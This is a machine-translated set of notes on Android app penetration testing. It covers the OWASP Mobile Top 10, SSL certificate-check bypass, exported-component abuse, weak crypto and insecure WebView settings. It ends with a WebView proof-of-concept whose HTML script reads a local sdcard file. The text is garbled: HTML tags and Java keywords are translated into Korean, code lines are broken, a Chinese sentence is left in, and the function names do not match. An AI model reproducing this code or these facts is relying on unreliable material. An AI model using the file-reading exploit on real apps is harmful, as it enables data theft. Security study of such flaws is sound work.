Android 아키텍처에 대한 기본 지식
커널 커널 계층
취약점은 매우 해롭고 매우 다양합니다.
드라이버의 수가 많고 복잡하기 때문에 허점이 많을 수도 있습니다
라이브러리 시스템 런타임 라이브러리 계층
시스템 미들웨어 형태로 제공되는 런타임 라이브러리는
libc, WebKit, SQLite 등을 포함합니다.
AndroidRunTime
Dalvik 가상 머신 및 커널 라이브러리
FrameWork 애플리케이션 프레임워크 레이어
시리즈 제공 서비스 및 API 인터페이스
Andoroid 공통 구성요소
활동 활동
ContentProvider 콘텐츠 공급자
Android 앱 공통 취약점(OWASP) 모바일 Top 10) 플랫폼의 부적절한 사용
플랫폼 기능 남용 또는 실패 플랫폼의 보안 제어를 사용하는 능력. 의도 오용, 권한 오용 등
위험
은 매우 광범위하며 모바일 플랫폼의 다양한 서비스와 관련될 수 있습니다.
데이터/데이터 패키지 이름/데이터베이스/*.db
외부 저장소
/data/data/패키지명 디렉터리에 있는 다양한 파일과 디렉터리를 탐색하여 다른 사용자가 읽을 수 있는 파일이 있는지 확인하세요.
민감한 일반 텍스트 정보가 있는지 확인하세요. 구성 파일, 데이터베이스 등
마찬가지로 verify(String, SSLSession)의 반환 값이 항상 True인지 확인하고 X509HostnameVerifier의 매개 변수가 ALLOW_ALLHOSTNAME_VERIFIER
Fiddler 프록시를 활성화하고 원격 호스트가 프록시에 연결되도록 허용
APP에서 SSL 인증서 확인 부족
클라이언트는 X509TruestManager 클래스를 구현해야 합니다. checkServerTrustedcheckClientTrustedgetInstance 세 가지 방법을 포함하여SSL 인증서 강력한 확인
X를 통과할 수 있습니다. p, 패치 등 . 우회 방법
구성 요소 노출 취약성
Android:exported는 네 가지 주요 구성 요소에 공통된 속성으로, 다른 애플리케이션이 현재 구성 요소를 호출할 수 있는지 여부를 나타내는 데 사용됩니다.
인텐트 필터가 있는 경우 기본값 값은 true, 그렇지 않으면 기본값은 false
내보낸 내보낸 구성요소의 권한 제어
인증 우회
액티비티가 노출된 후 제3자에 의해 호출되며, 로그인이 가능합니다. /reset the 비밀번호 없이 비밀번호를
민감한 정보 유출
recviver는 노출된 후 제3자에 의해 실행되었으며 디버깅 및 기타 정보에 포함된 민감한 정보가 열람될 수 있습니다
권한 초과
낮은 권한 프로그램 높은 권한 프로그램에 의해 노출된 구성 요소를 호출하여 높은 권한 작업 실행
마이닝 방법
Android 매니페스트 보기
Weak 암호화 취약점
Password Hardcoding
임의 코드 실행
fiddler의 사전 스크립트는 모든 것을 허용할 수 있습니다. webview를 통해 모든 웹페이지에 액세스할 수 있습니다.
Android 4.2 이상을 테스트한 후 addJavascriptInterface라는 주석이 달린 메서드를 웹페이지의 java 메서드로 호출할 수 있습니다. 필터링하지 않으면 허점이 있을 수 있습니다
setAllowFileAccess
setAllowFileAccessFromFileURLs
setAllowUniversalAccessFromFileURLs(원격 민감한 정보 공개)
사용자가 WebViEW에 입력한 사용자 이름과 비밀번호를 저장하도록 선택하면 저장됩니다. 일반 텍스트로 앱 디렉토리의 data.db에 저장
루트 권한이 있는 공격자가 읽을 수 있음
스크립트 분석 Smali 코드
동적 분석
의심되는 위험 검증 및 위험 평가작동/취약점 검증을 시도해보세요
drozer
-
자동 지원 시스템
MobSF에는 프런트엔드 웹 인터페이스가 포함되어 있고,
Inspeckage Xposed 플러그인
순수 텍스트 보기 코드 복사
아래 코드의 주요 차이점은 이번에 로드된 Attack_file.html입니다
개인 WebView webView;
//문자열 mUrl2 = android_asset/html/test.html";
@Override
protected void onCreate(Bundle saveInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView 뷰, 문자열 URL, 문자열 메시지, JsResult 결과) {
//여기에 필수 기능
return super.onJsAlert(view, URL, 메시지, 결과);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text; > .e("leehong2", "onButtonClick: text = " + str);
Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
}
});
return "이 텍스트는 Java 레이어에서 반환됩니다. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str); > ast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}
这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。
我们再来看attack_file.html的代码:'
<몸>
<스크립트>
function SteelFile()
{
var file = "file:///mnt/sdcard/233.txt";
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){
if(xmlHttpReq.readyState == 4){
Alert(xmlHttpReq.responseText);
}
}
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();